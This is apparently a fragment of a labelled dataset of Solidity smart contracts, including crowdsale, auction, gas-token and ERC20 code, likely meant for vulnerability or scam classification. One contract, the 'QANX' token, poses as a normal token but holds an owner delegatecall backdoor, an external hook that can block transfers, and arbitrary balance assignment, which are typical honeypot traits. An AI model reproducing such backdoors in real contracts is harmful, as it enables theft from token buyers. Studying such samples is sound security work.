using Roles for Roles.Role;
event CapperAdded(address indexed account);
event CapperRemoved(address indexed account);
Roles.Role private cappers;
constructor() public {
cappers.add(msg.sender);
}
modifier onlyCapper() {
require(isCapper(msg.sender));
_;
}
function isCapper(address account) public view returns (bool) {
return cappers.has(account);
}
function addCapper(address account) public onlyCapper {
cappers.add(account);
emit CapperAdded(account);
}
function renounceCapper() public {
cappers.remove(msg.sender);
}
function _removeCapper(address account) internal {
cappers.remove(account);
emit CapperRemoved(account);
}
}
contract WhitelistedCrowdsale is Crowdsale, CapperRole {
using SafeMath for uint256;
uint256 private _invCap;
mapping(address => uint256) private _contributions;
mapping(address => uint256) private _caps;
constructor(uint256 invCap) public
{
require(invCap > 0);
_invCap = invCap;
}
function isWhitelisted(address beneficiary) public view returns (bool) {
return _caps[beneficiary] != 0;
}
function addAddressToWhitelist(address beneficiary) public onlyCapper returns (bool) {
require(beneficiary != address(0));
_caps[beneficiary] = _invCap;
return isWhitelisted(beneficiary);
}
function addAddressesToWhitelist(address[] _beneficiaries) external onlyCapper {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
addAddressToWhitelist(_beneficiaries[i]);
}
}
function removeAddressFromWhitelist(address beneficiary) public onlyCapper returns (bool) {
require(beneficiary != address(0));
_caps[beneficiary] = 0;
return isWhitelisted(beneficiary);
}
function removeAddressesFromWhitelist(address[] _beneficiaries) external onlyCapper {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
removeAddressFromWhitelist(_beneficiaries[i]);
}
}
function getContribution(address beneficiary)
public view returns (uint256)
{
return _contributions[beneficiary];
}
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
{
super._preValidatePurchase(beneficiary, weiAmount);
require(
_contributions[beneficiary].add(weiAmount) <= _caps[beneficiary]);
}
function _updatePurchasingState(
address beneficiary,
uint256 weiAmount
)
internal
{
super._updatePurchasingState(beneficiary, weiAmount);
_contributions[beneficiary] = _contributions[beneficiary].add(weiAmount);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _cap;
constructor(uint256 cap) public {
require(cap > 0);
_cap = cap;
}
function cap() public view returns(uint256) {
return _cap;
}
function capReached() public view returns (bool) {
return weiRaised() >= _cap;
}
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
{
super._preValidatePurchase(beneficiary, weiAmount);
require(weiRaised().add(weiAmount) <= _cap);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _openingTime;
uint256 private _closingTime;
modifier onlyWhileOpen {
require(isOpen());
_;
}
constructor(uint256 openingTime, uint256 closingTime) public {
require(openingTime >= block.timestamp);
require(closingTime >= openingTime);
_openingTime = openingTime;
_closingTime = closingTime;
}
function openingTime() public view returns(uint256) {
return _openingTime;
}
function closingTime() public view returns(uint256) {
return _closingTime;
}
function isOpen() public view returns (bool) {
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > _closingTime;
}
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(beneficiary, weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
bool private _finalized = false;
event CrowdsaleFinalized();
function finalized() public view returns (bool) {
return _finalized;
}
function finalize() public {
require(!_finalized);
require(hasClosed());
_finalization();
emit CrowdsaleFinalized();
_finalized = true;
}
function _finalization() internal {
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() public {
minters.add(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
minters.add(account);
emit MinterAdded(account);
}
function renounceMinter() public {
minters.remove(msg.sender);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Mintable is ERC20, MinterRole {
event MintingFinished();
bool private _mintingFinished = false;
modifier onlyBeforeMintingFinished() {
require(!_mintingFinished);
_;
}
function mintingFinished() public view returns(bool) {
return _mintingFinished;
}
function mint(
address to,
uint256 amount
)
public
onlyMinter
onlyBeforeMintingFinished
returns (bool)
{
_mint(to, amount);
return true;
}
function finishMinting()
public
onlyMinter
onlyBeforeMintingFinished
returns (bool)
{
_mintingFinished = true;
emit MintingFinished();
return true;
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address beneficiary,
uint256 tokenAmount
)
internal
{
require(
ERC20Mintable(address(token())).mint(beneficiary, tokenAmount));
}
}
contract PlazaCrowdsale is CappedCrowdsale, FinalizableCrowdsale, MintedCrowdsale, WhitelistedCrowdsale, TieredPriceCrowdsale {
constructor(
uint256 openingTime,
uint256 closingTime,
uint256 rate,
address wallet,
uint256 cap,
ERC20Mintable token,
uint256 openingTimeTier4,
uint256 openingTimeTier3,
uint256 openingTimeTier2,
uint256 invCap
)
public
Crowdsale(rate, wallet, token)
CappedCrowdsale(cap)
WhitelistedCrowdsale(invCap)
TimedCrowdsale(openingTime, closingTime)
TieredPriceCrowdsale(rate, openingTimeTier2, openingTimeTier3, openingTimeTier4)
{}
} | 1 | 3,764 |
pragma solidity ^0.4.22;
contract Auctionify {
address public beneficiary;
uint public auctionEnd;
string public auctionTitle;
string public auctionDescription;
uint public minimumBid;
address public escrowModerator;
address public highestBidder;
mapping(address => uint) public bids;
enum AuctionStates { Started, Ongoing, Ended }
AuctionStates public auctionState;
modifier auctionNotEnded()
{
require(
now < auctionEnd,
"Auction already ended."
);
require(
auctionState != AuctionStates.Ended,
"Auction already ended."
);
_;
}
modifier isMinimumBid()
{
require(
msg.value >= minimumBid,
"The value is smaller than minimum bid."
);
_;
}
modifier isHighestBid()
{
require(
msg.value > bids[highestBidder],
"There already is a higher bid."
);
_;
}
modifier onlyHighestBidderOrEscrow()
{
if ((msg.sender == highestBidder) || (msg.sender == escrowModerator) || (highestBidder == address(0))) {
_;
}
else{
revert();
}
}
event HighestBidIncreased(address bidder, uint amount);
event AuctionEnded(address winner, uint amount);
event CheaterBidder(address cheater, uint amount);
constructor(
string _auctionTitle,
uint _auctionEnd,
address _beneficiary,
string _auctionDesc,
uint _minimumBid,
bool _escrowEnabled,
bool _listed
) public {
auctionTitle = _auctionTitle;
beneficiary = _beneficiary;
auctionEnd = _auctionEnd;
auctionDescription = _auctionDesc;
auctionState = AuctionStates.Started;
minimumBid = _minimumBid;
if (_escrowEnabled) {
escrowModerator = address(0x32cEfb2dC869BBfe636f7547CDa43f561Bf88d5A);
}
if (_listed) {
}
}
function bid() public payable auctionNotEnded isMinimumBid isHighestBid {
if (highestBidder != address(0)) {
uint lastBid = bids[highestBidder];
bids[highestBidder] = 0;
if(!highestBidder.send(lastBid)) {
emit CheaterBidder(highestBidder, lastBid);
}
}
highestBidder = msg.sender;
bids[msg.sender] = msg.value;
auctionState = AuctionStates.Ongoing;
emit HighestBidIncreased(msg.sender, msg.value);
}
function highestBid() public view returns(uint){
return (bids[highestBidder]);
}
function endAuction() public onlyHighestBidderOrEscrow {
require(now >= auctionEnd, "Auction not yet ended.");
require(auctionState != AuctionStates.Ended, "Auction has already ended.");
auctionState = AuctionStates.Ended;
emit AuctionEnded(highestBidder, bids[highestBidder]);
if(!beneficiary.send(bids[highestBidder])) {
}
}
function cleanUpAfterYourself() public {
require(auctionState == AuctionStates.Ended, "Auction is not ended.");
if (escrowModerator != address(0)) {
selfdestruct(escrowModerator);
} else {
selfdestruct(beneficiary);
}
}
} | 1 | 4,013 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract QANX is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 3333333000000000000000000000;
string public name = "QANX Token";
string public symbol = "QANX";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wETH, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toAddresses, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toAddresses.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses));
for(uint i = 0; i < _toAddresses.length; i++) {
balanceOf[_toAddresses[i]] = _amounts[i];
emit Transfer(address(0x0), _toAddresses[i], _amounts[i]);
}
}
} | 0 | 1,068 |
pragma solidity ^0.4.10;
contract GasToken2 {
uint256 constant ADDRESS_BYTES = 20;
uint256 constant MAX_SINGLE_BYTE = 128;
uint256 constant MAX_NONCE = 256**9 - 1;
function count_bytes(uint256 n) constant internal returns (uint256 c) {
uint i = 0;
uint mask = 1;
while (n >= mask) {
i += 1;
mask *= 256;
}
return i;
}
function mk_contract_address(address a, uint256 n) constant internal returns (address rlp) {
require(n <= MAX_NONCE);
uint256 nonce_bytes;
uint256 nonce_rlp_len;
if (0 < n && n < MAX_SINGLE_BYTE) {
nonce_bytes = 1;
nonce_rlp_len = 1;
} else {
nonce_bytes = count_bytes(n);
nonce_rlp_len = nonce_bytes + 1;
}
uint256 tot_bytes = 1 + ADDRESS_BYTES + nonce_rlp_len;
uint256 word = ((192 + tot_bytes) * 256**31) +
((128 + ADDRESS_BYTES) * 256**30) +
(uint256(a) * 256**10);
if (0 < n && n < MAX_SINGLE_BYTE) {
word += n * 256**9;
} else {
word += (128 + nonce_bytes) * 256**9;
word += n * 256**(9 - nonce_bytes);
}
uint256 hash;
assembly {
let mem_start := mload(0x40)
mstore(0x40, add(mem_start, 0x20))
mstore(mem_start, word)
hash := sha3(mem_start,
add(tot_bytes, 1))
}
return address(hash);
}
mapping(address => uint256) s_balances;
mapping(address => mapping(address => uint256)) s_allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address owner) public constant returns (uint256 balance) {
return s_balances[owner];
}
function internalTransfer(address from, address to, uint256 value) internal returns (bool success) {
if (value <= s_balances[from]) {
s_balances[from] -= value;
s_balances[to] += value;
Transfer(from, to, value);
return true;
} else {
return false;
}
}
function transfer(address to, uint256 value) public returns (bool success) {
address from = msg.sender;
return internalTransfer(from, to, value);
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
address spender = msg.sender;
if(value <= s_allowances[from][spender] && internalTransfer(from, to, value)) {
s_allowances[from][spender] -= value;
return true;
} else {
return false;
}
}
function approve(address spender, uint256 value) public returns (bool success) {
address owner = msg.sender;
if (value != 0 && s_allowances[owner][spender] != 0) {
return false;
}
s_allowances[owner][spender] = value;
Approval(owner, spender, value);
return true;
}
function allowance(address owner, address spender) public constant returns (uint256 remaining) {
return s_allowances[owner][spender];
}
uint8 constant public decimals = 2;
string constant public name = "Gastoken.io";
string constant public symbol = "GST2";
uint256 s_head;
uint256 s_tail;
function totalSupply() public constant returns (uint256 supply) {
return s_head - s_tail;
}
function makeChild() internal returns (address addr) {
assembly {
let solidity_free_mem_ptr := mload(0x40)
mstore(solidity_free_mem_ptr, 0x00756eb3f879cb30fe243b4dfee438691c043318585733ff6000526016600af3)
addr := create(0, add(solidity_free_mem_ptr, 1), 31)
}
}
function mint(uint256 value) public {
for (uint256 i = 0; i < value; i++) {
makeChild();
}
s_head += value;
s_balances[msg.sender] += value;
}
function destroyChildren(uint256 value) internal {
uint256 tail = s_tail;
for (uint256 i = tail + 1; i <= tail + value; i++) {
mk_contract_address(this, i).call();
}
s_tail = tail + value;
}
function free(uint256 value) public returns (bool success) {
uint256 from_balance = s_balances[msg.sender];
if (value > from_balance) {
return false;
}
destroyChildren(value);
s_balances[msg.sender] = from_balance - value;
return true;
}
function freeUpTo(uint256 value) public returns (uint256 freed) {
uint256 from_balance = s_balances[msg.sender];
if (value > from_balance) {
value = from_balance;
}
destroyChildren(value);
s_balances[msg.sender] = from_balance - value;
return value;
}
function freeFrom(address from, uint256 value) public returns (bool success) {
address spender = msg.sender;
uint256 from_balance = s_balances[from];
if (value > from_balance) {
return false;
}
mapping(address => uint256) from_allowances = s_allowances[from];
uint256 spender_allowance = from_allowances[spender];
if (value > spender_allowance) {
return false;
}
destroyChildren(value);
s_balances[from] = from_balance - value;
from_allowances[spender] = spender_allowance - value;
return true;
}
function freeFromUpTo(address from, uint256 value) public returns (uint256 freed) {
address spender = msg.sender;
uint256 from_balance = s_balances[from];
if (value > from_balance) {
value = from_balance;
}
mapping(address => uint256) from_allowances = s_allowances[from];
uint256 spender_allowance = from_allowances[spender];
if (value > spender_allowance) {
value = spender_allowance;
}
destroyChildren(value);
s_balances[from] = from_balance - value;
from_allowances[spender] = spender_allowance - value;
return value;
}
} | 0 | 2,121 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.